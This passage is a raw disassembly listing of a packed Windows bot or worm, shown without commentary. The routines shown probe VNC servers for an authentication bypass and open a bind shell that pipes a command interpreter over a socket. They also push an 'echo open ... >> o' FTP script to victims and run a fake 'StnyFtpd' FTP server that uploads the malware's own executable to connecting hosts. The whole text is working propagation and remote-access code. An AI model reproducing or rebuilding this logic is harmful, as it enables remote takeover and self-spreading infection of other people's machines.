[ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: .packed:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CB4EC push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: .packed:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431AD8[eax] push ebx lea eax, dword_431AD8[eax] call dword_42721C ; closesocket push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: .packed:0040E284j ; .packed:0040E2A9j ... push ebx call dword_42721C ; closesocket loc_40E46E: ; CODE XREF: .packed:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: .packed:0040E465j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40E475 proc near ; DATA XREF: sub_40E503+15Bo var_404 = byte ptr -404h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: sub_40E475+25j ; sub_40E475+41j push 0 lea eax, [ebp+var_404] push 400h push eax push dword_4CE374 call dword_4CB64C ; recv test eax, eax jle short loc_40E47E lea ecx, [ebp+var_4] push 0 push ecx push eax lea eax, [ebp+var_404] push eax push dword_4CE370 call dword_4270E0 ; WriteFile jmp short loc_40E47E sub_40E475 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40E4B8 proc near ; DATA XREF: sub_40E503+142o var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: sub_40E4B8+2Fj ; sub_40E4B8+49j lea eax, [ebp+var_4] and [ebp+var_4], 0 push 0 push eax lea eax, [ebp+var_404] push 400h push eax push dword_4CE364 call dword_4270E8 ; ReadFile cmp [ebp+var_4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp+var_404] push [ebp+var_4] push eax push dword_4CE374 call dword_4CB684 ; send jmp short loc_40E4C1 sub_40E4B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40E503 proc near ; DATA XREF: sub_401ACD+2D0Do var_11C = byte ptr -11Ch var_98 = dword ptr -98h var_7C = dword ptr -7Ch var_50 = dword ptr -50h var_4C = word ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_38 = word ptr -38h var_36 = word ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 28h mov esi, eax pop ecx lea edi, [ebp+var_11C] rep movsd push 1 xor edi, edi pop esi mov [eax+98h], esi push 10h lea eax, [ebp+var_38] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_38], 2 push [ebp+var_98] call dword_4CB634 ; htons push 6 push esi push 2 mov [ebp+var_36], ax call dword_4CB6B4 ; socket mov [ebp+arg_0], eax lea eax, [ebp+var_38] push 10h push eax push [ebp+arg_0] call dword_4CB660 ; bind push 5 push [ebp+arg_0] call dword_4CB65C ; listen mov ebx, dword_4270FC mov esi, dword_427068 loc_40E583: ; CODE XREF: sub_40E503+1CBj push edi push edi push [ebp+arg_0] call dword_4CB6C8 ; accept mov dword_4CE374, eax lea eax, [ebp+var_C] push edi push eax push offset dword_4CE370 push offset dword_4CE36C mov [ebp+var_C], 0Ch mov [ebp+var_4], 1 mov [ebp+var_8], edi call ebx ; CreatePipe lea eax, [ebp+var_C] push edi push eax push offset dword_4CE368 push offset dword_4CE364 call ebx ; CreatePipe push 44h lea eax, [ebp+var_7C] push edi push eax call sub_41B590 mov eax, dword_4CE36C add esp, 0Ch mov [ebp+var_44], eax mov eax, dword_4CE368 mov [ebp+var_40], eax push edi push 1 lea eax, [ebp+var_3C] push 2 push eax mov [ebp+var_7C], 44h mov [ebp+var_50], 101h mov [ebp+var_4C], di call dword_4270F8 ; GetCurrentProcess push eax push dword_4CE368 call dword_4270F8 ; GetCurrentProcess push eax call dword_4270F4 ; DuplicateHandle lea eax, [ebp+var_28] push eax lea eax, [ebp+var_7C] push eax push edi push edi push 4000090h lea eax, [ebp+var_C] push 1 push eax lea eax, [ebp+var_C] push eax push offset dword_433BD4 push edi call dword_42706C ; CreateProcessA lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40E4B8 lea eax, [ebp+var_C] push edi push eax call dword_42707C ; CreateThread mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40E475 lea eax, [ebp+var_C] push edi push eax call dword_42707C ; CreateThread push 0FFFFFFFFh mov [ebp+var_10], eax push [ebp+var_28] call dword_4270A0 ; WaitForSingleObject push edi push [ebp+var_10] call dword_4270AC ; TerminateThread push edi push [ebp+var_14] call dword_4270AC ; TerminateThread push [ebp+var_10] call esi ; CloseHandle push [ebp+var_14] call esi ; CloseHandle push edi push [ebp+var_28] call dword_4270F0 ; TerminateProcess push dword_4CE36C call esi ; CloseHandle push dword_4CE370 call esi ; CloseHandle push dword_4CE364 call esi ; CloseHandle push dword_4CE368 call esi ; CloseHandle push [ebp+var_24] call esi ; CloseHandle push [ebp+var_28] call esi ; CloseHandle jmp loc_40E583 sub_40E503 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40E6D3 proc near ; DATA XREF: .packed:00429010o jmp $+5 sub_40E6D3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E6D8 proc near push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CE37C, eax pop ecx retn sub_40E6D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E6EF proc near ; DATA XREF: sub_40BACD+34Do var_6C0 = byte ptr -6C0h var_2C0 = byte ptr -2C0h var_C0 = byte ptr -0C0h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 6C0h mov eax, [ebp+arg_0] push ebx push esi push edi push 27h mov esi, eax pop ecx lea edi, [ebp+var_B0] rep movsd push 1 xor ebx, ebx pop esi mov [eax+98h], esi push 10h lea eax, [ebp+var_14] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_A4] call dword_4CB634 ; htons push ebx push esi push 2 mov [ebp+var_12], ax mov [ebp+var_10], ebx call dword_4CB6B4 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jnz short loc_40E796 cmp [ebp+var_1C], ebx jnz short loc_40E776 push ebx lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409A72 add esp, 14h loc_40E776: ; CODE XREF: sub_40E6EF+65j lea eax, [ebp+var_2C0] push eax call sub_4151AC push [ebp+var_AC] call sub_40B412 pop ecx pop ecx push ebx call dword_4270CC ; ExitThread loc_40E796: ; CODE XREF: sub_40E6EF+60j mov eax, [ebp+var_AC] push 10h imul eax, 234h mov dword_43E57C[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_4CB660 ; bind cmp eax, esi mov ebx, 400h jnz loc_40E891 call dword_4CB5C8 ; WSAGetLastError cmp eax, 2740h jz short loc_40E816 xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40E7F6 push esi lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409A72 add esp, 14h loc_40E7F6: ; CODE XREF: sub_40E6EF+E5j lea eax, [ebp+var_2C0] push eax call sub_4151AC push [ebp+var_AC] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread loc_40E816: ; CODE XREF: sub_40E6EF+DEj push 0FFFEh push ebx call sub_418684 pop ecx mov dword_4CE37C, eax pop ecx mov [ebp+var_12], ax lea eax, [ebp+var_14] push 10h push eax push edi call dword_4CB660 ; bind cmp eax, esi jnz short loc_40E891 call dword_4CB5C8 ; WSAGetLastError xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40E871 cmp eax, 2740h jz short loc_40E871 push esi lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409A72 add esp, 14h loc_40E871: ; CODE XREF: sub_40E6EF+159j ; sub_40E6EF+160j lea eax, [ebp+var_2C0] push eax call sub_4151AC push [ebp+var_AC] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread loc_40E891: ; CODE XREF: sub_40E6EF+CDj ; sub_40E6EF+14Cj push 5 push edi call dword_4CB65C ; listen cmp eax, esi jz loc_40E976 mov [ebp+var_4], 10h mov esi, offset byte_429108 loc_40E8AE: ; CODE XREF: sub_40E6EF+1D7j ; sub_40E6EF+227j ... lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C0] push eax push edi call dword_4CB6C8 ; accept cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40E8AE cmp [ebp+var_1C], 0 jnz short loc_40E8EF push 0 lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409A72 add esp, 14h loc_40E8EF: ; CODE XREF: sub_40E6EF+1DDj lea eax, [ebp+var_2C0] push eax call sub_4151AC pop ecx lea eax, [ebp+var_2C0] push 0 push 200h push eax push [ebp+arg_0] call dword_4CB64C ; recv cmp eax, 0FFFFFFFFh jz short loc_40E8AE push esi push esi push dword_4CB370 push [ebp+var_B0] call sub_40AC0F pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"... lea eax, [ebp+var_6C0] push ebx push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_6C0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_6C0] push eax push [ebp+arg_0] call dword_4CB684 ; send cmp eax, 0FFFFFFFFh jz loc_40E8AE inc dword_4CE384 jmp loc_40E8AE ; --------------------------------------------------------------------------- loc_40E976: ; CODE XREF: sub_40E6EF+1ADj push edi call dword_4CB6CC ; closesocket push [ebp+var_AC] call sub_40B412 pop ecx push 0 call dword_4270CC ; ExitThread sub_40E6EF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E991 proc near ; DATA XREF: sub_40BACD+22Ao var_A70 = byte ptr -0A70h var_8E0 = byte ptr -8E0h var_6E0 = dword ptr -6E0h var_4C8 = byte ptr -4C8h var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = dword ptr -43Ch var_338 = byte ptr -338h var_2D4 = byte ptr -2D4h var_2A0 = byte ptr -2A0h var_23C = byte ptr -23Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_128 = byte ptr -128h var_FC = byte ptr -0FCh var_C8 = byte ptr -0C8h var_B0 = byte ptr -0B0h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_3C = byte ptr -3Ch var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A70h mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6E0] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A70] xor esi, esi push eax push 101h mov [ebp+var_1C], ebx mov [ebp+var_2C], ebx mov [ebp+var_24], ebx mov [ebp+var_22C], esi mov [ebp+var_43C], esi call dword_4271F0 ; WSAStartup push esi push ebx push 2 call dword_427220 ; socket mov esi, dword_4271F4 lea ecx, [ebp+var_1C] push 4 push ecx mov edi, 0FFFFh push 4 push edi push eax mov [ebp+var_8], eax call esi ; setsockopt lea eax, [ebp+var_2C] push 4 push eax push 0FFFFFFFBh push edi mov edi, [ebp+var_8] push edi call esi ; setsockopt lea eax, [ebp+var_24] push eax push 8004667Eh push edi call dword_4271F8 ; ioctlsocket mov ax, word ptr dword_4CB370 and [ebp+var_48], 0 push eax mov [ebp+var_4C], 2 call dword_4CB634 ; htons mov [ebp+var_4A], ax lea eax, [ebp+var_4C] push 10h push eax push edi call dword_4271FC ; bind test eax, eax jge short loc_40EA57 mov eax, ebx jmp loc_40EFB7 ; --------------------------------------------------------------------------- loc_40EA57: ; CODE XREF: sub_40E991+BDj push 0Ah push edi call dword_427200 ; listen mov [ebp+var_22C], ebx mov ebx, dword_427224 mov [ebp+var_228], edi mov [ebp+var_4], edi loc_40EA75: ; CODE XREF: sub_40E991+11Dj ; sub_40E991+61Ej push 41h lea esi, [ebp+var_22C] pop ecx lea edi, [ebp+var_43C] rep movsd xor esi, esi lea eax, [ebp+var_43C] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call dword_427228 ; select cmp eax, 0FFFFFFFFh jz loc_40EFB4 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_40EA75 loc_40EAB0: ; CODE XREF: sub_40E991+618j xor esi, esi push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41B590 push 64h lea eax, [ebp+var_B0] push esi push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_43C] push eax push edi call sub_426756 ; __WSAFDIsSet test eax, eax jz loc_40EFA2 cmp edi, [ebp+var_8] jnz short loc_40EB67 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_23C] push eax push [ebp+var_8] call dword_427204 ; accept cmp eax, 0FFFFFFFFh jz loc_40EFA2 xor ecx, ecx cmp [ebp+var_22C], esi jbe short loc_40EB31 lea edx, [ebp+var_228] loc_40EB21: ; CODE XREF: sub_40E991+19Ej cmp [edx], eax jz short loc_40EB31 inc ecx add edx, 4 cmp ecx, [ebp+var_22C] jb short loc_40EB21 loc_40EB31: ; CODE XREF: sub_40E991+188j ; sub_40E991+192j cmp ecx, [ebp+var_22C] jnz short loc_40EB4F cmp [ebp+var_22C], 40h jnb short loc_40EB4F mov [ebp+ecx*4+var_228], eax inc [ebp+var_22C] loc_40EB4F: ; CODE XREF: sub_40E991+1A6j ; sub_40E991+1AFj cmp eax, [ebp+var_4] jle short loc_40EB57 mov [ebp+var_4], eax loc_40EB57: ; CODE XREF: sub_40E991+1C1j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_40EFA2 ; --------------------------------------------------------------------------- loc_40EB67: ; CODE XREF: sub_40E991+15Aj push esi lea eax, [ebp+var_2A0] push 64h push eax push edi call dword_427218 ; recv test eax, eax jg short loc_40EBCE mov edx, [ebp+var_22C] xor ecx, ecx cmp edx, esi jbe short loc_40EBC2 lea eax, [ebp+var_228] loc_40EB8E: ; CODE XREF: sub_40E991+207j cmp [eax], edi jz short loc_40EB9C inc ecx add eax, 4 cmp ecx, edx jb short loc_40EB8E jmp short loc_40EBC2 ; --------------------------------------------------------------------------- loc_40EB9C: ; CODE XREF: sub_40E991+1FFj dec edx cmp ecx, edx jnb short loc_40EBBC lea eax, [ebp+ecx*4+var_228] loc_40EBA8: ; CODE XREF: sub_40E991+229j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_22C] add eax, 4 dec edx cmp ecx, edx jb short loc_40EBA8 loc_40EBBC: ; CODE XREF: sub_40E991+20Ej dec [ebp+var_22C] loc_40EBC2: ; CODE XREF: sub_40E991+1F5j ; sub_40E991+209j push edi call dword_42721C ; closesocket jmp loc_40EFA2 ; --------------------------------------------------------------------------- loc_40EBCE: ; CODE XREF: sub_40E991+1E9j lea eax, [ebp+var_338] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2A0] push offset aSS_0 ; "%s %s" push eax call sub_41C645 lea eax, [ebp+var_B0] push offset aUser_1 ; "USER" push eax call sub_41C070 add esp, 18h test eax, eax jnz short loc_40EC12 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40EC94 ; --------------------------------------------------------------------------- loc_40EC12: ; CODE XREF: sub_40E991+272j lea eax, [ebp+var_B0] push offset aPass ; "PASS" push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40EC33 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp short loc_40EC94 ; --------------------------------------------------------------------------- loc_40EC33: ; CODE XREF: sub_40E991+296j lea eax, [ebp+var_B0] push offset aSyst ; "SYST" push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40EC54 push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp short loc_40EC94 ; --------------------------------------------------------------------------- loc_40EC54: ; CODE XREF: sub_40E991+2B7j lea eax, [ebp+var_B0] push offset aRest ; "REST" push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40EC75 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp short loc_40EC94 ; --------------------------------------------------------------------------- loc_40EC75: ; CODE XREF: sub_40E991+2D8j lea eax, [ebp+var_B0] push offset off_433E24 push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40EC9A push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" loc_40EC94: ; CODE XREF: sub_40E991+27Cj ; sub_40E991+2A0j ... push edi jmp loc_40EF8B ; --------------------------------------------------------------------------- loc_40EC9A: ; CODE XREF: sub_40E991+2F9j mov edi, offset aType ; "TYPE" lea eax, [ebp+var_B0] push edi push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40ECD6 lea eax, [ebp+var_338] push offset aA_0 ; "A" push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40ECD6 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40EF88 ; --------------------------------------------------------------------------- loc_40ECD6: ; CODE XREF: sub_40E991+31Fj ; sub_40E991+336j lea eax, [ebp+var_B0] push edi push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40ED0D lea eax, [ebp+var_338] push offset aI_0 ; "I" push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40ED0D push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40EF88 ; --------------------------------------------------------------------------- loc_40ED0D: ; CODE XREF: sub_40E991+356j ; sub_40E991+36Dj lea eax, [ebp+var_B0] push offset aPasv ; "PASV" push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40ED58 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_128] rep movsd push eax lea eax, [ebp+var_128] push eax movsw call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_128] loc_40ED4B: ; CODE XREF: sub_40E991+406j push eax push [ebp+arg_0] call ebx ; send xor esi, esi jmp loc_40EF8D ; --------------------------------------------------------------------------- loc_40ED58: ; CODE XREF: sub_40E991+391j lea eax, [ebp+var_B0] push offset aList_0 ; "LIST" push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40ED99 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C8] rep movsd movsw push eax lea eax, [ebp+var_C8] push eax movsb call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_C8] jmp short loc_40ED4B ; --------------------------------------------------------------------------- loc_40ED99: ; CODE XREF: sub_40E991+3DCj lea eax, [ebp+var_B0] push offset aPort ; "PORT" push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40EE6A lea eax, [ebp+var_2D4] push eax lea eax, [ebp+var_FC] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_2A0] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_41C645 lea eax, [ebp+var_FC] push eax call sub_41B779 mov edi, eax lea eax, [ebp+var_2D4] push eax call sub_41B779 mov [ebp+var_C], eax push 32h lea eax, [ebp+var_FC] push esi push eax call sub_41B590 add esp, 34h lea eax, [ebp+var_FC] push [ebp+var_C] push edi push offset aXX ; "%x%x\n" push eax call sub_41B886 push 10h lea eax, [ebp+var_FC] push esi push eax call sub_41BDC5 add esp, 1Ch mov [ebp+var_C], eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_3C] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_41B886 add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_40EF88 ; --------------------------------------------------------------------------- loc_40EE6A: ; CODE XREF: sub_40E991+41Dj lea eax, [ebp+var_B0] push offset aRetr ; "RETR" push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40EF69 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push [ebp+arg_0] call ebx ; send push [ebp+var_C] lea eax, [ebp+var_3C] push eax call sub_40EFBE pop ecx cmp eax, 1 pop ecx jnz loc_40EF5F lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_8E0] push offset aFtpTransferSta ; "ftp transfer started to: %s" push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40EEEC push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_409A72 add esp, 14h loc_40EEEC: ; CODE XREF: sub_40E991+536j call sub_40F03B cmp eax, 1 jnz loc_40EF8D push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push [ebp+arg_0] call ebx ; send lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_8E0] push offset aFtpTransferCom ; "ftp transfer complete to: %s" push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40EF4A push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_409A72 add esp, 14h loc_40EF4A: ; CODE XREF: sub_40E991+594j lea eax, [ebp+var_8E0] push eax call sub_4151AC inc dword_4CE140 pop ecx jmp short loc_40EF8D ; --------------------------------------------------------------------------- loc_40EF5F: ; CODE XREF: sub_40E991+512j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40EF88 ; --------------------------------------------------------------------------- loc_40EF69: ; CODE XREF: sub_40E991+4EEj lea eax, [ebp+var_B0] push offset aQuit ; "QUIT" push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40EF8D push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40EF88: ; CODE XREF: sub_40E991+340j ; sub_40E991+377j ... push [ebp+arg_0] loc_40EF8B: ; CODE XREF: sub_40E991+304j call ebx ; send loc_40EF8D: ; CODE XREF: sub_40E991+3C2j ; sub_40E991+563j ... push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41B590 mov edi, [ebp+arg_0] add esp, 0Ch loc_40EFA2: ; CODE XREF: sub_40E991+151j ; sub_40E991+17Aj ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_40EAB0 jmp loc_40EA75 ; --------------------------------------------------------------------------- loc_40EFB4: ; CODE XREF: sub_40E991+10Fj push 1 pop eax loc_40EFB7: ; CODE XREF: sub_40E991+C1j pop edi pop esi pop ebx leave retn 4 sub_40E991 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EFBE proc near ; CODE XREF: sub_40E991+508p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_4271F0 ; WSAStartup push 0 push 1 push 2 call dword_427220 ; socket push [ebp+arg_0] mov dword_4CE388, eax mov [ebp+var_10], 2 call dword_42720C ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_427210 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_4CE388 call dword_427214 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CE388 call dword_42721C ; closesocket call dword_4271EC ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: sub_40EFBE+60j push 1 pop eax leave retn sub_40EFBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F03B proc near ; CODE XREF: sub_40E991:loc_40EEECp var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call dword_427070 ; GetModuleFileNameA lea eax, [ebp+var_104] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: sub_40F03B+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_4CE388 call dword_427224 ; send push 1 call dword_427078 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: sub_40F03B+3Bj push esi call sub_41B05B pop ecx push dword_4CE388 call dword_42721C ; closesocket call dword_4271EC ; WSACleanup push 1 pop eax loc_40F0D2: ; CODE XREF: sub_40F03B+35j pop esi leave retn sub_40F03B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov 